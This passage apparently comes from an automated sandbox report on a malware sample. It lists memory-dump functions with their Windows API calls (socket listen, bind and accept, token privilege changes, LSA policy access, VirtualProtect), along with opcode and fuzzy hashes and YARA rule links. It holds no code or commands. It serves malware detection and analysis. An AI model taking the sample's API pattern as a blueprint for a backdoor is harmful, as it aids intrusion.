listen.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0AE4

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: listen
String ID:
API String ID: 3257165821-0
Opcode ID: fe636275e631d2b410cbfb75984c4ec033fd8beb2a8ff041d4842ee8a9cbf309
Instruction ID: 99e956e4c7080f99d2db4f9bc8bc9271031652be369998a951f4d00fd09c9e3a
Opcode Fuzzy Hash: fe636275e631d2b410cbfb75984c4ec033fd8beb2a8ff041d4842ee8a9cbf309
Instruction Fuzzy Hash: 3831D472905344AFE711CB15DC45FA6BFA8FF45320F1880AAED44DB292D2756909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0E6B, Relevance: 1.6, APIs: 1, Instructions: 81networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0EFF

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: 403305466090a970e2b6faad06795f1232a111a44005a3001e0d97d600cf4e15
Instruction ID: 5633c39c2076a6c725f93ed318af22f3ebad7631a0c19b6f0a04d4abed665c9d
Opcode Fuzzy Hash: 403305466090a970e2b6faad06795f1232a111a44005a3001e0d97d600cf4e15
Instruction Fuzzy Hash: D7218272509380AFE7128B65DC44F96BFA8EF06310F0884AAE984DF192D2349949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A4CDB, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 058A4D5B

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 5908efbd4852fb1697f016bde40893eea2c0e0dfa9794608a85ac3403b989383
Instruction ID: 78754c79f19b3a79f1a8eea3d24a1ee8fb4c66a58cf682153ca1080d89ade51d
Opcode Fuzzy Hash: 5908efbd4852fb1697f016bde40893eea2c0e0dfa9794608a85ac3403b989383
Instruction Fuzzy Hash: 2A218D765097C09FEB128F25DC44A62BFB4EF06214F08849AED85CF563D2759908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 058A4DA8, Relevance: 1.6, APIs: 1, Instructions: 62nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 058A4E1D

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: ff1856ce6b518641f43c843b880c8d28708fc85acd1101a959fefb6fa3bd38b5
Instruction ID: 6fb7e132ecbaa60aa58a51014ca5e3e3c080ae3c40f9572d5d4078183460b205
Opcode Fuzzy Hash: ff1856ce6b518641f43c843b880c8d28708fc85acd1101a959fefb6fa3bd38b5
Instruction Fuzzy Hash: E1218E724097C09FEB128B21DC45AA2BFB0AF06324F0D84DAEDC44F163D275A918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0E9E, Relevance: 1.6, APIs: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0EFF

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: 18f9ee64e0cb8e7ecd4072ce105be380e3139eaba08716e68e47e90ce7512a01
Instruction ID: c3df198612275e52f102a9266fa989db50602801c123f933d83e8b7fd0275310
Opcode Fuzzy Hash: 18f9ee64e0cb8e7ecd4072ce105be380e3139eaba08716e68e47e90ce7512a01
Instruction Fuzzy Hash: BF11B272504204EFEB20CF15DC84FA6FBE8EF04720F1884AAED49DB241D274E944CA71

Uniqueness

Uniqueness Score: -1.00%

Function 058A0A8E, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

listen.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0AE4

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: listen
String ID:
API String ID: 3257165821-0
Opcode ID: 646269da81f2c467a665c15cbc73140089c8bb508aeaf2ec01341e72e635fb34
Instruction ID: eedf2b48150cd88af5f5a790ec65060a400d61d08b134070ea4af74049ea7768
Opcode Fuzzy Hash: 646269da81f2c467a665c15cbc73140089c8bb508aeaf2ec01341e72e635fb34
Instruction Fuzzy Hash: C311C272500244AFFB21CF16DD89FA6FBD8EF48725F1884AAED48DB241D274A445CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A4D12, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 058A4D5B

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: c7a0dc521c435dfd46d59b2b20d3e067b83079e6e64169c97d750f5b1bae6bfe
Instruction ID: ae0d75ebfd3d9139a240dfacf927bab38eeef667214de587fb742791599308b6
Opcode Fuzzy Hash: c7a0dc521c435dfd46d59b2b20d3e067b83079e6e64169c97d750f5b1bae6bfe
Instruction Fuzzy Hash: 81115E325006849FEF21CF55D884B66FBE4EF04220F0888AADD46CB662D375E818DF61

Uniqueness

Uniqueness Score: -1.00%

Function 058A01D6, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,00000E2C,?,?), ref: 058A0226

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 56b779f79dfb0cc266576edb86ebc949ce87198da43f91f5b4173c15d7fb542f
Instruction ID: b1cfe3c229bbf351e436940597c7b83eafde520572205973c7f8352371a86aa9
Opcode Fuzzy Hash: 56b779f79dfb0cc266576edb86ebc949ce87198da43f91f5b4173c15d7fb542f
Instruction Fuzzy Hash: 71016275500600ABD610DF1ADC86B26FBE8FB88B20F14815AED485B741E275F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 058A4DE2, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 058A4E1D

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 216d41a2fe25d35986310a365a922505e434a96b8bbd903d1cc3d1b090d5f254
Instruction ID: aa5f6c734bfe53cf94df44bea2be429a8f39a011f2a228a8fbceb135001c8d79
Opcode Fuzzy Hash: 216d41a2fe25d35986310a365a922505e434a96b8bbd903d1cc3d1b090d5f254
Instruction Fuzzy Hash: D4012C36504644DFEF208F55E845B65FBA1FF08720F08C49ADE854B662D2B6A828DB62

Uniqueness

Uniqueness Score: -1.00%

Function 09572BE8, Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe91bcbdfb5cced1f499a9bf84b500593fbc3589e107d52f67203ab57bbeb2bd
Instruction ID: 6c077ccbacc38b920de73663c67552e09adf7eb0e0eed9094f9bd18e79b9db43
Opcode Fuzzy Hash: fe91bcbdfb5cced1f499a9bf84b500593fbc3589e107d52f67203ab57bbeb2bd
Instruction Fuzzy Hash: 4AC1137491520ADFCB04DFA5E1848AEFBB1FB58350F21A95AD412FB214CB30AB41CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0581DD70, Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b9bbf82e8152556031bb96890ac8d8cb41440327db77d5edc1f88f25d08b0d
Instruction ID: 8eb6fd6e7c12b84208bc94980ca9f20ee8b1c8a2ed66b0077bdafd7799fe3f4b
Opcode Fuzzy Hash: f9b9bbf82e8152556031bb96890ac8d8cb41440327db77d5edc1f88f25d08b0d
Instruction Fuzzy Hash: 88710575E006188FDB18CFAAC844A9EFBF2BF89310F14C06AD908BB265DB715946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0957CC88, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89301c2cba3f9f0951d2b9d35e2b4a76f997528681744dc5de27c3a04583942d
Instruction ID: 475d3376c3e354ed5109f80753a953253a250b6083766270f767505a3474bf6d
Opcode Fuzzy Hash: 89301c2cba3f9f0951d2b9d35e2b4a76f997528681744dc5de27c3a04583942d
Instruction Fuzzy Hash: 2E71E174D01209DFCB04DFE5E5959AEFBB6FF88300F20902AE816AB354DB345A02CB58

Uniqueness

Uniqueness Score: -1.00%

Function 09571360, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae52b94a4a7c89de2f675f61b8bb8bd491402a375ed5d0a255588fb2ff1f2552
Instruction ID: f0c21da3fb98e7c1bbae7066e46506a2651479af73612743f69ffc43883671aa
Opcode Fuzzy Hash: ae52b94a4a7c89de2f675f61b8bb8bd491402a375ed5d0a255588fb2ff1f2552
Instruction Fuzzy Hash: 02511AB4D0860A8FDB08CFAAD4415AEFBF2FB89351F14E46AD415AB250D7349A41CF68

Uniqueness

Uniqueness Score: -1.00%

Function 09571C70, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261578248.0000000009570000.00000040.00000001.sdmp, Offset: 09570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebc81de111c34bfbebe170f86824cab8ed28fa3075906375ed3ef08fec1d03bc
Instruction ID: 064ba5a9c71e73f53ba420cfd596f016121e98174f8c6d9b4c17b8f7ee50901c
Opcode Fuzzy Hash: ebc81de111c34bfbebe170f86824cab8ed28fa3075906375ed3ef08fec1d03bc
Instruction Fuzzy Hash: 9421F5B1E006588BDB18CFAAD8447DEFBF2AFC9300F14C07AD909AA264DB740A55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 058A41C5, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A4239

Strings

8<?r, xrefs: 058A4251

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: 8<?r
API String ID: 544645111-3749652874
Opcode ID: 00291369773136581d02eb115820956cb86324c693d7fddbd966dea92afbf9a6
Instruction ID: f06e1ceb31e4f648104cbdfab3137c012acfd1d11bd2a69420f690d689c87fa9
Opcode Fuzzy Hash: 00291369773136581d02eb115820956cb86324c693d7fddbd966dea92afbf9a6
Instruction Fuzzy Hash: 4D21AE325093C09FEB228B25DC40BA2FFB4EF06610F0884DEED858B562D275A808DB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A41FE, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A4239

Strings

8<?r, xrefs: 058A4251

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: 8<?r
API String ID: 544645111-3749652874
Opcode ID: d0a3bbbb7196f0d11e417407de01b27cfd99354dc976891f2710123b03dfbb56
Instruction ID: d4bd3c7d4f7ffc56008592815904662e6425ea6ad7668bf7ecb0ccf40bad98c0
Opcode Fuzzy Hash: d0a3bbbb7196f0d11e417407de01b27cfd99354dc976891f2710123b03dfbb56
Instruction Fuzzy Hash: 4C01B1365042408FEF208F15E844B66FBA0EF44720F08C4AAED858B661D2B1E818CF62

Uniqueness

Uniqueness Score: -1.00%

Function 05819223, Relevance: 2.4, Strings: 1, Instructions: 1147COMMON

Download Yara Rule

Strings

<mzp, xrefs: 058194B5

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: <mzp
API String ID: 0-1583554614
Opcode ID: 2bc5ea1ae4bcf3753804abf793aa21fb59c1603bb21231e7f535e9a5f3cf3d0d
Instruction ID: df959ea0011c5b297b7fab082da1954f492123cd854457afee1cf978eda6f7fb
Opcode Fuzzy Hash: 2bc5ea1ae4bcf3753804abf793aa21fb59c1603bb21231e7f535e9a5f3cf3d0d
Instruction Fuzzy Hash: 4AC2B834A012188FDBA4DF24C858BD9B7B2FF89311F1141E9E509AB3A1DB31AE85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 05819228, Relevance: 2.4, Strings: 1, Instructions: 1146COMMON

Download Yara Rule

Strings

<mzp, xrefs: 058194B5

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: <mzp
API String ID: 0-1583554614
Opcode ID: d59ad55262c33e8a0c3cc5b41fb8b8b1239e09d6b83db95f4053586e492628a3
Instruction ID: 4685ded14f37e7a9129789ee2c91c9675b4ffa8f5d0906e19637d46a83812cc9
Opcode Fuzzy Hash: d59ad55262c33e8a0c3cc5b41fb8b8b1239e09d6b83db95f4053586e492628a3
Instruction Fuzzy Hash: DFC2B834A012188FDBA4DF24C858BD9B7B2FF89315F1141E9E509AB3A1DB31AE85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0581B4DF, Relevance: 1.7, Instructions: 1668COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e654b6275d29604c28997ca2d2b2de93a170fd8385f4d3730e74ff956d27858b
Instruction ID: 8c48d84af12fbe712307c03d976dd91fdc9868bc380cd52add4c260c7b63b9ca
Opcode Fuzzy Hash: e654b6275d29604c28997ca2d2b2de93a170fd8385f4d3730e74ff956d27858b
Instruction Fuzzy Hash: 7603C634A01219CFDB65DB64C8A8FA9B7B2FF89301F1040E9D509A73A1DB35AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0581B4F0, Relevance: 1.7, Instructions: 1658COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75747c908b0517db65d82affd910473a54c403f758ded6a79eebe1eecdb9f890
Instruction ID: 4be855762ce1ef5de487356a6f776ef7da80e422e1c6308889d3a713420a46eb
Opcode Fuzzy Hash: 75747c908b0517db65d82affd910473a54c403f758ded6a79eebe1eecdb9f890
Instruction Fuzzy Hash: C203C634A01219CFDB65DB64C8A8F99B7B2FF89301F1040E9D509A73A1DB35AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 058A3559, Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 058A3677

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 4661aa0f55bc933b17647078209de131ef53cf240b5138e8f47e5cb255c3c833
Instruction ID: 0f6ab66e461e76cc0c7e6739e8570a5b5ef351085c9f2725c47a644d4192def8
Opcode Fuzzy Hash: 4661aa0f55bc933b17647078209de131ef53cf240b5138e8f47e5cb255c3c833
Instruction Fuzzy Hash: 5C416E766142059FE728CF19C980F36B7A6FF88720B1589A9ED06CB761DB30EC40DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310B729, Relevance: 1.6, APIs: 1, Instructions: 138registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,?,?), ref: 0310B802

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 149851218e5d757156286a14d1c8a6e0bd896cb591ce76f2a212da5257de0755
Instruction ID: e86f91429ea537dfefbf39bd7b736adf90e4d1df0855116fa7eabf80ceb578bd
Opcode Fuzzy Hash: 149851218e5d757156286a14d1c8a6e0bd896cb591ce76f2a212da5257de0755
Instruction Fuzzy Hash: EE416E7550E3C09FD3138B259C55A61BFB4EF47620F0E81DBD884CB6A3D269A909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 058A4983, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 058A4A33

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3268cd8e4c8a43a3cc5df8a2d32241f152b07957834e4fe5f792738aeee379d8
Instruction ID: d73e027729794dea495741840fbb5a3f83a24c4a40621d917069ab730ac87e08
Opcode Fuzzy Hash: 3268cd8e4c8a43a3cc5df8a2d32241f152b07957834e4fe5f792738aeee379d8
Instruction Fuzzy Hash: D031A5725043846FEB228F25DC45F66BFACEF45710F04849EE985CB152D264A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310BBF3, Relevance: 1.6, APIs: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 0310BCA9

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6e4e96c94cac310469a8b9df9b2beb9fd88be16e7ffea1c076c6de819e96b098
Instruction ID: b870ef6873b0fcaf7d82b6d668fd6154587f8737855f7cfdcdc566b1c5e0ad78
Opcode Fuzzy Hash: 6e4e96c94cac310469a8b9df9b2beb9fd88be16e7ffea1c076c6de819e96b098
Instruction Fuzzy Hash: 753172B1505380AFE722CF25DD44B62BFE8EF45214F18849EE9848B252D375E509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310AB26, Relevance: 1.6, APIs: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000E2C), ref: 0310ABD5

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b30017f55bcb2a2b7af09eee1474e902407dcca69b7c4ac4e153353fd4a4c3c5
Instruction ID: 6121ed1c46ad991ff2ac776354d1dbc229a747d6014186e23dd9def704d9de26
Opcode Fuzzy Hash: b30017f55bcb2a2b7af09eee1474e902407dcca69b7c4ac4e153353fd4a4c3c5
Instruction Fuzzy Hash: 1C31A4725443846FE7228B25CC45F67BFECEF0A710F08849AED849B152D264A549CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A1109, Relevance: 1.6, APIs: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,?), ref: 058A11AD

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: accept
String ID:
API String ID: 3005279540-0
Opcode ID: 448912db7f0cac3cfcfbe2bd33cb5e05fa7afa03936a2f16eda3a5670f0b6e21
Instruction ID: 8df2d34b01f804670d7b679b81176ebae263d507b127c19e77498ab960b377fe
Opcode Fuzzy Hash: 448912db7f0cac3cfcfbe2bd33cb5e05fa7afa03936a2f16eda3a5670f0b6e21
Instruction Fuzzy Hash: CB317071509780AFE712CB25DC45B66BFB8EF06214F08849AE9849B292D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0C18, Relevance: 1.6, APIs: 1, Instructions: 90timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A0CB5

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 3b7bf21ca74141cb77ee919bec45004b8f839880d0a073e09cf252186a0f1776
Instruction ID: 885c4396b9fc4fe554d141cac40407f5d35e680d828ca50e72818c465e0699d0
Opcode Fuzzy Hash: 3b7bf21ca74141cb77ee919bec45004b8f839880d0a073e09cf252186a0f1776
Instruction Fuzzy Hash: 4E31C572509380AFEB128F25DC45FA6BFB8EF06310F08849AE985DB153D225A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310AC1D, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310ACD8

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: dddccc0620d9a0e04c49ff044eba2131da3b0034cc7f6174bceaabbd037af46a
Instruction ID: 20348b3f0b087723b2ebc063de6598976e9736cc05fd40a1fb711a4a748c9c14
Opcode Fuzzy Hash: dddccc0620d9a0e04c49ff044eba2131da3b0034cc7f6174bceaabbd037af46a
Instruction Fuzzy Hash: C1318F711097846FE722CB25CC44FA2FFE8EF0A610F18849AE985CB192D364E549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A4652, Relevance: 1.6, APIs: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A46DE

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 6f851c53f30b5aa025a0c160c1d666d57fa42a8ad3ace39af5be860257cfba95
Instruction ID: 999eb48bee499e239dbf91051047a6ad179c8cc896f464ead23cf285b10223d4
Opcode Fuzzy Hash: 6f851c53f30b5aa025a0c160c1d666d57fa42a8ad3ace39af5be860257cfba95
Instruction Fuzzy Hash: 9E316F7250D3C05FEB138B25DC55A62BFB8AF07214F0D84DBDD85CB1A3E269A849C762

Uniqueness

Uniqueness Score: -1.00%

Function 058A05CC, Relevance: 1.6, APIs: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 058A067E

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: c7ca6a91b8d3fa7ba577d429a92fe616aa107b21fa13ecdc022ade515cedb358
Instruction ID: c962b539462bbaa79d419e286a2ce3f8ba7c85a47c778da3688347fedc023278
Opcode Fuzzy Hash: c7ca6a91b8d3fa7ba577d429a92fe616aa107b21fa13ecdc022ade515cedb358
Instruction Fuzzy Hash: 6A31A1B2404784AFE722CF55DC45F56FFF8EF06324F08859AE9848B262D365A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310AFCF, Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310B06C

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: d3db7eb090b5160574315dbe1f8e2b2ba7891688c18c78839dc418efb82ad531
Instruction ID: 8a2555faae6139bb7fa61b82f936dd686fb56994a37bf9356625395575d31b14
Opcode Fuzzy Hash: d3db7eb090b5160574315dbe1f8e2b2ba7891688c18c78839dc418efb82ad531
Instruction Fuzzy Hash: 913181715093806FD712CB25DC45F96BFBCEF06210F0884AFE985DB152D264A548C772

Uniqueness

Uniqueness Score: -1.00%

Function 0310B2F3, Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

LsaOpenPolicy.ADVAPI32(?,00000E2C), ref: 0310B38F

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: OpenPolicy
String ID:
API String ID: 2030686058-0
Opcode ID: ed622a1728479cf0299f9199d4e9a64d54de72b010b4e431221fbf951485a307
Instruction ID: 37eb3a3d5bc72f021efd050343f2dac44e9f2304afe73cb7af04a8d7367434c4
Opcode Fuzzy Hash: ed622a1728479cf0299f9199d4e9a64d54de72b010b4e431221fbf951485a307
Instruction Fuzzy Hash: F2216F72504284AFE721CF65DC45F66BFA8EF49710F18889AED849B192D274A5088B61

Uniqueness

Uniqueness Score: -1.00%

Function 058A0959, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 058A09F9

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: dfb643474844944ef41c52e6ebeb1385704f931116c620f8d0b94d281fbd4ab2
Instruction ID: f20e2a3b537730e8ec9babf1074387b8c777b3a3c5a33ea855d8c36ceeccd1da
Opcode Fuzzy Hash: dfb643474844944ef41c52e6ebeb1385704f931116c620f8d0b94d281fbd4ab2
Instruction Fuzzy Hash: B8317171509380AFE722CF25CC45B56FFE8EF05210F18849AE985CB292D375E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A1204, Relevance: 1.6, APIs: 1, Instructions: 83networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 058A12AA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: e434737e01786b13e4d85f10ef17e1209cf3cddba1698a3496f3ea04bbdec621
Instruction ID: 9a36a0ef8e50f3238747c9e9cf5b6b7b16c803a148cd0aac62337524e7b32152
Opcode Fuzzy Hash: e434737e01786b13e4d85f10ef17e1209cf3cddba1698a3496f3ea04bbdec621
Instruction Fuzzy Hash: 3F21C4B24047446FE712CB55DC44FA7BFACEF49720F0484AAED44DB152E234A909CB74

Uniqueness

Uniqueness Score: -1.00%

Function 058A13C1, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,00000E2C,?,?), ref: 058A146E

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: dadb2c0d07c4b8a8f541916a125123ed95601e7b52fede4f3e59617eca0d7fb0
Instruction ID: 27ec76ed881d7391b601ed987872c56f1b257ca0f47463466f1707eb42002a1d
Opcode Fuzzy Hash: dadb2c0d07c4b8a8f541916a125123ed95601e7b52fede4f3e59617eca0d7fb0
Instruction Fuzzy Hash: D131C1715093C06FD3138B35DC55B62BFB8EF87610F1A84DBE8848F593D224A909C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0310BD00, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310BD95

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: db98f56c9e15229c2639fde6bc5cf5c38d0bbe8f1a38b7ae3558d2a0e5b029bb
Instruction ID: 5e639b61f85666a6353d9b2873e2e29189f058a78dd3655a93b05bd8f844137c
